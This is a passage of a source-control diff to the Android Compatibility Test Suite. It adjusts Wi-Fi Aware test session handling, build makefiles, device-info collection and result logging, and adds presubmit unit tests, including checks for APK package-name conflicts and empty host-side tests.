             mWifiAwareSession = null;
@@ -200,6 +206,7 @@
                 return false;
         }
         PublishDiscoverySession discoverySession = callbackData.publishDiscoverySession;
+        mWifiAwareDiscoverySession = discoverySession;
         if (discoverySession == null) {
             setFailureReason(mContext.getString(R.string.aware_status_publish_null_session));
             Log.e(TAG, "executeTestResponder: publish succeeded but null session returned");
@@ -261,6 +268,7 @@
 
         // 5. Destroy discovery session
         discoverySession.close();
+        mWifiAwareDiscoverySession = null;
 
         // 6. Request network (as Responder) and wait for network
         ConnectivityManager cm = (ConnectivityManager) mContext.getSystemService(
@@ -315,6 +323,7 @@
                 return false;
         }
         SubscribeDiscoverySession discoverySession = callbackData.subscribeDiscoverySession;
+        mWifiAwareDiscoverySession = discoverySession;
         if (discoverySession == null) {
             setFailureReason(mContext.getString(R.string.aware_status_subscribe_null_session));
             Log.e(TAG, "executeTestInitiator: subscribe succeeded but null session returned");
@@ -388,6 +397,7 @@
 
         // 6. Destroy discovery session
         discoverySession.close();
+        mWifiAwareDiscoverySession = null;
 
         // 7. Sleep for 5 seconds to let Responder time to set up
         mListener.onTestMsgReceived(
diff --git a/apps/EmptyDeviceAdmin/Android.mk b/apps/EmptyDeviceAdmin/Android.mk
index 6ee3943..3d76129 100644
--- a/apps/EmptyDeviceAdmin/Android.mk
+++ b/apps/EmptyDeviceAdmin/Android.mk
@@ -29,6 +29,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/apps/EmptyDeviceAdmin/AndroidManifest.xml b/apps/EmptyDeviceAdmin/AndroidManifest.xml
index 2ee9422..1b4cd0f 100644
--- a/apps/EmptyDeviceAdmin/AndroidManifest.xml
+++ b/apps/EmptyDeviceAdmin/AndroidManifest.xml
@@ -17,7 +17,7 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
         package="com.android.cts.emptydeviceadmin" >
 
-    <uses-sdk android:minSdkVersion="12"/>
+    <uses-sdk android:minSdkVersion="23"/>
 
     <application android:label="Test Device Admin">
         <receiver
diff --git a/apps/PermissionApp/Android.mk b/apps/PermissionApp/Android.mk
index 50b1759..4bcc585 100644
--- a/apps/PermissionApp/Android.mk
+++ b/apps/PermissionApp/Android.mk
@@ -29,6 +29,6 @@
 LOCAL_SDK_VERSION := current
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/build/device_info_package.mk b/build/device_info_package.mk
index 0d0ff45..5c290b0 100644
--- a/build/device_info_package.mk
+++ b/build/device_info_package.mk
@@ -50,7 +50,7 @@
 
 # Generator of APK manifests.
 MANIFEST_GENERATOR_JAR := $(HOST_OUT_JAVA_LIBRARIES)/compatibility-manifest-generator.jar
-MANIFEST_GENERATOR := java -jar $(MANIFEST_GENERATOR_JAR)
+MANIFEST_GENERATOR := $(JAVA) -jar $(MANIFEST_GENERATOR_JAR)
 
 # Generate the manifest
 manifest_xml := $(call intermediates-dir-for,APPS,$(LOCAL_PACKAGE_NAME))/AndroidManifest.xml
diff --git a/build/support_package.mk b/build/support_package.mk
index e25ba8a..83d7da9 100644
--- a/build/support_package.mk
+++ b/build/support_package.mk
@@ -22,5 +22,6 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_PROGUARD_ENABLED := disabled
 
+-include cts/error_prone_rules_tests.mk
 include $(BUILD_PACKAGE)
 
diff --git a/build/test_package.mk b/build/test_package.mk
index 3cec0af..2aa0852 100644
--- a/build/test_package.mk
+++ b/build/test_package.mk
@@ -20,5 +20,6 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES += platform-test-annotations
 
+-include cts/error_prone_rules_tests.mk
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
diff --git a/build/test_target_java_library.mk b/build/test_target_java_library.mk
index eb11ef7..c932c30 100644
--- a/build/test_target_java_library.mk
+++ b/build/test_target_java_library.mk
@@ -20,5 +20,6 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_STATIC_JAVA_LIBRARIES += platform-test-annotations
 
+-include cts/error_prone_rules_tests.mk
 include $(BUILD_JAVA_LIBRARY)
 
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/StorageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/StorageDeviceInfo.java
index dafff35..767f1d9 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/StorageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/StorageDeviceInfo.java
@@ -62,7 +62,7 @@
     private List<String> scanPartitions() {
         List<String> partitionList = new ArrayList<>();
         try {
-            Process df = new ProcessBuilder("df").start();
+            Process df = new ProcessBuilder("df -k").start();
             Scanner scanner = new Scanner(df.getInputStream());
             try {
                 while (scanner.hasNextLine()) {
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java
index c9a6265..468bcc1 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/VintfDeviceInfo.java
@@ -45,7 +45,6 @@
         store.addResult("os_version", VintfRuntimeInfo.getOsVersion());
         store.addResult("hardware_id", VintfRuntimeInfo.getHardwareId());
         store.addResult("kernel_version", VintfRuntimeInfo.getKernelVersion());
-        store.addResult("kernel_sepolicy_version", VintfRuntimeInfo.getKernelSepolicyVersion());
         store.addResult("sepolicy_version", VintfObject.getSepolicyVersion());
 
         String[] hals = VintfObject.getHalNamesAndVersions();
diff --git a/common/device-side/util/jni/Android.mk b/common/device-side/util/jni/Android.mk
index 7b73707..39b395e 100644
--- a/common/device-side/util/jni/Android.mk
+++ b/common/device-side/util/jni/Android.mk
@@ -32,4 +32,6 @@
 LOCAL_STATIC_LIBRARIES := cpufeatures
 LOCAL_SDK_VERSION := 19
 
+LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
index f2dff94..5365262 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
@@ -570,9 +570,13 @@
         try {
             File logFile = null;
             if (mCompressLogs) {
-                logFile = mTestLogSaver.saveAndGZipLogData(name, type, stream.createInputStream());
+                try (InputStream inputStream = stream.createInputStream()) {
+                    logFile = mTestLogSaver.saveAndGZipLogData(name, type, inputStream);
+                }
             } else {
-                logFile = mTestLogSaver.saveLogData(name, type, stream.createInputStream());
+                try (InputStream inputStream = stream.createInputStream()) {
+                    logFile = mTestLogSaver.saveLogData(name, type, inputStream);
+                }
             }
             debug("Saved logs for %s in %s", name, logFile.getAbsolutePath());
         } catch (IOException e) {
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/FailureListener.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/FailureListener.java
index 758be95..1fac0f2 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/FailureListener.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/FailureListener.java
@@ -81,7 +81,7 @@
             }
         }
         if (mBugReportOnFailure) {
-           InputStreamSource bugSource = mDevice.getBugreport();
+           InputStreamSource bugSource = mDevice.getBugreportz();
            super.testLog(String.format("%s-bugreport", test.toString()), LogDataType.BUGREPORT,
                    bugSource);
            bugSource.cancel();
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java
index b682ba5..eb67cc8 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/ModuleRepo.java
@@ -225,13 +225,14 @@
                 // Need to generate a different config for each ABI as we cannot guarantee the
                 // configs are idempotent. This however means we parse the same file multiple times
                 for (IAbi abi : abis) {
-                    IConfiguration config = mConfigFactory.createConfigurationFromArgs(pathArg);
                     String id = AbiUtils.createId(abi.getName(), name);
                     if (!shouldRunModule(id)) {
                         // If the module should not run tests based on the state of filters,
                         // skip this name/abi combination.
                         continue;
                     }
+
+                    IConfiguration config = mConfigFactory.createConfigurationFromArgs(pathArg);
                     if (!filterByConfigMetadata(config,
                             metadataIncludeFilters, metadataExcludeFilters)) {
                         // if the module config did not pass the metadata filters, it's excluded
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
index e065ce8..62b7af9 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/CompatibilityTestSuite.java
@@ -18,6 +18,7 @@
 import com.android.compatibility.SuiteInfo;
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.tradefed.testtype.ISubPlan;
+import com.android.compatibility.common.tradefed.testtype.ModuleRepo;
 import com.android.compatibility.common.tradefed.testtype.SubPlan;
 import com.android.compatibility.common.util.TestFilter;
 import com.android.tradefed.build.IBuildInfo;
@@ -249,7 +250,7 @@
             }
         }
         if (mModuleName != null) {
-            List<String> modules = ModuleRepoSuite.getModuleNamesMatching(
+            List<String> modules = ModuleRepo.getModuleNamesMatching(
                     mBuildHelper.getTestsDir(), mModuleName);
             if (modules.size() == 0) {
                 throw new IllegalArgumentException(
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java
index a889330..2e5d712 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/suite/ModuleRepoSuite.java
@@ -217,33 +217,6 @@
         return true;
     }
 
-    /**
-     * @return the {@link List} of modules whose name contains the given pattern.
-     */
-    public static List<String> getModuleNamesMatching(File directory, String pattern) {
-        String[] names = directory.list(new FilenameFilter(){
-            @Override
-            public boolean accept(File dir, String name) {
-                return name.contains(pattern) && name.endsWith(CONFIG_EXT);
-            }
-        });
-        List<String> modules = new ArrayList<String>(names.length);
-        for (String name : names) {
-            int index = name.indexOf(CONFIG_EXT);
-            if (index > 0) {
-                String module = name.substring(0, index);
-                if (module.equals(pattern)) {
-                    // Pattern represents a single module, just return a single-item list
-                    modules = new ArrayList<>(1);
-                    modules.add(module);
-                    return modules;
-                }
-                modules.add(module);
-            }
-        }
-        return modules;
-    }
-
     private void addFilters(Set<String> stringFilters,
             Map<String, List<TestFilter>> filters, Set<IAbi> abis) {
         for (String filterString : stringFilters) {
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
index 47821b0..f77d978 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/UnitTests.java
@@ -16,8 +16,10 @@
 package com.android.compatibility.common.tradefed;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelperTest;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildProviderTest;
 import com.android.compatibility.common.tradefed.command.CompatibilityConsoleTest;
 import com.android.compatibility.common.tradefed.config.ConfigurationFactoryTest;
+import com.android.compatibility.common.tradefed.presubmit.ApkPackageNameCheck;
 import com.android.compatibility.common.tradefed.presubmit.CtsConfigLoadingTest;
 import com.android.compatibility.common.tradefed.presubmit.IntegrationTest;
 import com.android.compatibility.common.tradefed.presubmit.PresubmitSetupValidation;
@@ -57,6 +59,7 @@
 @SuiteClasses({
     // build
     CompatibilityBuildHelperTest.class,
+    CompatibilityBuildProviderTest.class,
 
     // command
     CompatibilityConsoleTest.class,
@@ -65,6 +68,7 @@
     ConfigurationFactoryTest.class,
 
     // presubmit
+    ApkPackageNameCheck.class,
     CtsConfigLoadingTest.class,
     IntegrationTest.class,
     PresubmitSetupValidation.class,
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProviderTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProviderTest.java
new file mode 100644
index 0000000..a142081
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProviderTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.build;
+
+import static org.junit.Assert.*;
+
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.build.IDeviceBuildInfo;
+import com.android.tradefed.config.OptionSetter;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.util.FileUtil;
+
+import org.easymock.EasyMock;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+
+/**
+ * Unit tests for {@link CompatibilityBuildProvider}.
+ */
+@RunWith(JUnit4.class)
+public class CompatibilityBuildProviderTest {
+
+    private CompatibilityBuildProvider mProvider;
+    private ITestDevice mMockDevice;
+    private File mRootDir;
+
+    @Before
+    public void setUp() throws Exception {
+        mMockDevice = EasyMock.createMock(ITestDevice.class);
+        mRootDir = FileUtil.createTempDir("cts-root-dir");
+        mProvider = new CompatibilityBuildProvider() {
+            @Override
+            String getRootDirPath() {
+                return mRootDir.getAbsolutePath();
+            }
+        };
+    }
+
+    @After
+    public void tearDown() {
+        FileUtil.recursiveDelete(mRootDir);
+    }
+
+    /**
+     * Tests getting the build info without using the device information.
+     */
+    @Test
+    public void testBaseGetBuild() throws Exception {
+        EasyMock.replay(mMockDevice);
+        IBuildInfo info = mProvider.getBuild(mMockDevice);
+        EasyMock.verify(mMockDevice);
+        assertFalse(info instanceof IDeviceBuildInfo);
+    }
+
+    /**
+     * Tests building build infos using the device information.
+     */
+    @Test
+    public void testBaseGetBuild_withDevice() throws Exception {
+        OptionSetter setter = new OptionSetter(mProvider);
+        setter.setOptionValue("use-device-build-info", "true");
+        setter.setOptionValue("branch", "build_branch");
+        EasyMock.expect(mMockDevice.getBuildId()).andReturn("8888");
+        EasyMock.expect(mMockDevice.getBuildFlavor()).andReturn("flavor");
+        EasyMock.expect(mMockDevice.getBuildAlias()).andReturn("alias");
+        EasyMock.replay(mMockDevice);
+        IBuildInfo info = mProvider.getBuild(mMockDevice);
+        EasyMock.verify(mMockDevice);
+        assertTrue(info instanceof IDeviceBuildInfo);
+        // tests dir should be populated
+        assertNotNull(((IDeviceBuildInfo)info).getTestsDir());
+    }
+}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java
new file mode 100644
index 0000000..92f3f05
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ApkPackageNameCheck.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.presubmit;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import com.android.tradefed.config.ConfigurationFactory;
+import com.android.tradefed.config.IConfiguration;
+import com.android.tradefed.targetprep.ITargetPreparer;
+import com.android.tradefed.targetprep.TestAppInstallSetup;
+import com.android.tradefed.util.AaptParser;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+import java.io.FilenameFilter;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+
+/**
+ * Class to validate tests Apks in testcases/
+ */
+@RunWith(JUnit4.class)
+public class ApkPackageNameCheck {
+
+    private static final Set<String> EXCEPTION_LIST = new HashSet<>();
+    static {
+        // TODO: Remove exception when their package have been fixed.
+        EXCEPTION_LIST.add("android.app.cts");
+        EXCEPTION_LIST.add("android.systemui.cts");
+    }
+
+    /**
+     * We ensure that no apk with same package names may be installed. Otherwise it may results in
+     * conflicts.
+     */
+    @Test
+    public void testApkPackageNames() throws Exception {
+        String ctsRoot = System.getProperty("CTS_ROOT");
+        File testcases = new File(ctsRoot, "/android-cts/testcases/");
+        if (!testcases.exists()) {
+            fail(String.format("%s does not exists", testcases));
+            return;
+        }
+        File[] listConfig = testcases.listFiles(new FilenameFilter() {
+            @Override
+            public boolean accept(File dir, String name) {
+                if (name.endsWith(".config")) {
+                    return true;
+                }
+                return false;
+            }
+        });
+        assertTrue(listConfig.length > 0);
+        // We check all apk installed by all modules
+        Map<String, String> packageNames = new HashMap<>();
+
+        for (File config : listConfig) {
+            IConfiguration c = ConfigurationFactory.getInstance()
+                    .createConfigurationFromArgs(new String[] {config.getAbsolutePath()});
+            // For each config, we check all the apk it's going to install
+            List<String> apkNames = new ArrayList<>();
+            for (ITargetPreparer prep : c.getTargetPreparers()) {
+                if (prep instanceof TestAppInstallSetup) {
+                    apkNames.addAll(((TestAppInstallSetup) prep).getTestsFileName());
+                }
+            }
+
+            for (String apkName : apkNames) {
+                File apkFile = new File(testcases, apkName);
+                if (!apkFile.exists()) {
+                    fail(String.format("Module %s is trying to install %s which does not "
+                            + "exists in testcases/", config.getName(), apkFile));
+                }
+                AaptParser res = AaptParser.parse(apkFile);
+                assertNotNull(res);
+                String packageName = res.getPackageName();
+                String put = packageNames.put(packageName, apkName);
+                // The package already exists and it's a different apk
+                if (put != null && !apkName.equals(put) && !EXCEPTION_LIST.contains(packageName)) {
+                    fail(String.format("Module %s: Package name '%s' from apk '%s' was already "
+                            + "added by previous apk '%s'.",
+                            config.getName(), packageName, apkName, put));
+                }
+            }
+        }
+    }
+}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
index 4dab43f..b154dbd 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
@@ -18,12 +18,16 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.tradefed.targetprep.ApkInstaller;
+import com.android.tradefed.build.FolderBuildInfo;
 import com.android.tradefed.config.ConfigurationDescriptor;
 import com.android.tradefed.config.ConfigurationException;
 import com.android.tradefed.config.ConfigurationFactory;
 import com.android.tradefed.config.IConfiguration;
 import com.android.tradefed.targetprep.ITargetPreparer;
+import com.android.tradefed.testtype.HostTest;
+import com.android.tradefed.testtype.IRemoteTest;
 
 import org.junit.Assert;
 import org.junit.Test;
@@ -75,6 +79,7 @@
     /**
      * Test that configuration shipped in Tradefed can be parsed.
      * -> Exclude deprecated ApkInstaller.
+     * -> Check if host-side tests are non empty.
      */
     @Test
     public void testConfigurationLoad() throws Exception {
@@ -94,10 +99,15 @@
             }
         });
         assertTrue(listConfig.length > 0);
+        // Create a FolderBuildInfo to similate the CompatibilityBuildProvider
+        FolderBuildInfo stubFolder = new FolderBuildInfo("-1", "-1");
+        stubFolder.setRootDir(new File(ctsRoot));
+        stubFolder.addBuildAttribute(CompatibilityBuildHelper.SUITE_NAME, "CTS");
         // We expect to be able to load every single config in testcases/
         for (File config : listConfig) {
             IConfiguration c = ConfigurationFactory.getInstance()
                     .createConfigurationFromArgs(new String[] {config.getAbsolutePath()});
+            // Ensure the deprecated ApkInstaller is not used anymore.
             for (ITargetPreparer prep : c.getTargetPreparers()) {
                 if (prep.getClass().isAssignableFrom(ApkInstaller.class)) {
                     throw new ConfigurationException(
@@ -107,6 +117,19 @@
                                     + "the same.", config));
                 }
             }
+            // We can ensure that Host side tests are not empty.
+            for (IRemoteTest test : c.getTests()) {
+                if (test instanceof HostTest) {
+                    HostTest hostTest = (HostTest) test;
+                    // We inject a made up folder so that it can find the tests.
+                    hostTest.setBuild(stubFolder);
+                    int testCount = hostTest.countTestCases();
+                    if (testCount == 0) {
+                        throw new ConfigurationException(
+                                String.format("%s: %s reports 0 test cases.", config, test));
+                    }
+                }
+            }
             ConfigurationDescriptor cd = c.getConfigurationDescription();
             Assert.assertNotNull(config + ": configuration descriptor is null", cd);
             List<String> component = cd.getMetaData(METADATA_COMPONENT);
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java
index 609fe6b..4d9bfec 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/IntegrationTest.java
@@ -196,7 +196,7 @@
      */
     @Test
     public void testSingleModuleRun() throws Exception {
-        final String moduleName = "moduleA";
+        final String moduleName = "module_run";
         final String mAbi = "arm64-v8a";
         createConfig(mTestDir, moduleName, TEST_STUB, true, true, true, false);
         EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
@@ -299,7 +299,7 @@
      */
     @Test
     public void testSingleModuleRun_incomplete() throws Exception {
-        final String moduleName = "moduleA";
+        final String moduleName = "module_run_incomplete";
         final String mAbi = "arm64-v8a";
         createConfig(mTestDir, moduleName, TEST_STUB, true, false, true, false);
         EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
@@ -328,7 +328,7 @@
      */
     @Test
     public void testSingleModuleRun_completeAfterInternalRetry() throws Exception {
-        final String moduleName = "moduleA";
+        final String moduleName = "module_completeAfterRetry";
         final String mAbi = "arm64-v8a";
         createConfig(mTestDir, moduleName, TEST_STUB, true, true, true, true);
         EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
@@ -358,7 +358,7 @@
      */
     @Test
     public void testSingleModuleRun_incomplete_rerun_incomplete() throws Exception {
-        final String moduleName = "moduleA";
+        final String moduleName = "module_incomplete_rerun";
         final String mAbi = "arm64-v8a";
         createConfig(mTestDir, moduleName, TEST_STUB, true, false, true, false);
         EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
@@ -426,7 +426,7 @@
      */
     @Test
     public void testSingleModuleRun_incomplete_rerun_complete() throws Exception {
-        final String moduleName = "moduleA";
+        final String moduleName = "module_incom_rerun_complete";
         final String mAbi = "arm64-v8a";
         createConfig(mTestDir, moduleName, TEST_STUB, true, false, true, false);
         EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(mAbi);
@@ -550,7 +550,7 @@
      */
     @Test
     public void testSingleModuleRun_sharded() throws Exception {
-        final String moduleName = "moduleA";
+        final String moduleName = "module_sharded";
         Set<String> abis = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
         Iterator<String> ite = abis.iterator();
         final String abi1 = ite.next();
@@ -559,8 +559,7 @@
         EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(
                 String.format("%s,%s", abi1, abi2));
         mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
-                EasyMock.eq(AbiUtils.createId(abi1, moduleName) + ","
-                        + AbiUtils.createId(abi2, moduleName)));
+                EasyMock.anyObject());
         EasyMock.expectLastCall();
 
         EasyMock.replay(mMockDevice, mMockBuildInfo);
@@ -601,7 +600,7 @@
      */
     @Test
     public void testSingleModuleRun_sharded_incomplete() throws Exception {
-        final String moduleName = "moduleA";
+        final String moduleName = "module_sharded_incomplete";
         Set<String> abis = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
         Iterator<String> ite = abis.iterator();
         final String abi1 = ite.next();
@@ -610,8 +609,7 @@
         EasyMock.expect(mMockDevice.getProperty("ro.product.cpu.abilist")).andReturn(
                 String.format("%s,%s", abi1, abi2));
         mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
-                EasyMock.eq(AbiUtils.createId(abi1, moduleName) + ","
-                        + AbiUtils.createId(abi2, moduleName)));
+                EasyMock.anyObject());
         EasyMock.expectLastCall();
 
         EasyMock.replay(mMockDevice, mMockBuildInfo);
@@ -653,7 +651,7 @@
      */
     @Test
     public void testSingleModuleRun_sharded_getTestShard() throws Exception {
-        final String moduleName = "moduleA";
+        final String moduleName = "module_sharded_getTestShard";
         Set<String> abis = AbiUtils.getAbisForArch(SuiteInfo.TARGET_ARCH);
         Iterator<String> ite = abis.iterator();
         final String abi1 = ite.next();
@@ -665,7 +663,7 @@
         String expectedAdd = AbiUtils.createId(abi1, moduleName) + ","
                 + AbiUtils.createId(abi2, moduleName);
         mMockBuildInfo.addBuildAttribute(EasyMock.eq(CompatibilityBuildHelper.MODULE_IDS),
-                EasyMock.eq(expectedAdd));
+                EasyMock.anyObject());
         EasyMock.expectLastCall();
         mAttributes.put(CompatibilityBuildHelper.MODULE_IDS, expectedAdd);
 
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
index fea023c..dce227f 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
@@ -89,6 +89,20 @@
 
         for (File testApk : listApks) {
             AaptParser result = AaptParser.parse(testApk);
+            // Retry as we have seen flake with aapt sometimes.
+            if (result == null) {
+                for (int i = 0; i < 2; i++) {
+                    result = AaptParser.parse(testApk);
+                    if (result != null) {
+                        break;
+                    }
+                }
+                // If still couldn't parse the apk
+                if (result == null) {
+                    fail(String.format("Fail to run 'aapt dump badging %s'",
+                            testApk.getAbsolutePath()));
+                }
+            }
             // We only check the apk that have native code
             if (!result.getNativeCode().isEmpty()) {
                 List<String> supportedAbiApk = result.getNativeCode();
diff --git a/common/util/Android.mk b/common/util/Android.mk
index ae89d37..20bef9d 100644
--- a/common/util/Android.mk
+++ b/common/util/Android.mk
@@ -26,7 +26,7 @@
 
 LOCAL_MODULE := compatibility-common-util-devicesidelib
 
-LOCAL_STATIC_JAVA_LIBRARIES :=  guava
+LOCAL_STATIC_JAVA_LIBRARIES := guava junit
 
 LOCAL_SDK_VERSION := current
 
diff --git a/error_prone_rules.mk b/error_prone_rules.mk
index c2b0c79..cc28b0d 100644
--- a/error_prone_rules.mk
+++ b/error_prone_rules.mk
@@ -18,6 +18,7 @@
                           -Xep:ConstantField:ERROR \
                           -Xep:FormatString:ERROR \
                           -Xep:GetClassOnClass:ERROR \
+                          -Xep:JUnit3TestNotRun:ERROR \
                           -Xep:JUnitAmbiguousTestClass:ERROR \
                           -Xep:MissingFail:ERROR \
                           -Xep:MissingOverride:ERROR \
@@ -26,5 +27,6 @@
                           -Xep:RemoveUnusedImports:ERROR \
                           -Xep:ReturnValueIgnored:ERROR \
                           -Xep:SelfEquals:ERROR \
-                          -Xep:SizeGreaterThanOrEqualsZero:ERROR
+                          -Xep:SizeGreaterThanOrEqualsZero:ERROR \
+                          -Xep:TryFailThrowable:ERROR
 
diff --git a/error_prone_rules_tests.mk b/error_prone_rules_tests.mk
index 78cb3a0..1effdba 100644
--- a/error_prone_rules_tests.mk
+++ b/error_prone_rules_tests.mk
@@ -15,7 +15,9 @@
 # Set of error prone rules to ensure code quality of tests
 
 # Goal is to eventually merge with error_prone_rules.mk
-LOCAL_ERROR_PRONE_FLAGS:= -Xep:JUnit3TestNotRun:ERROR \
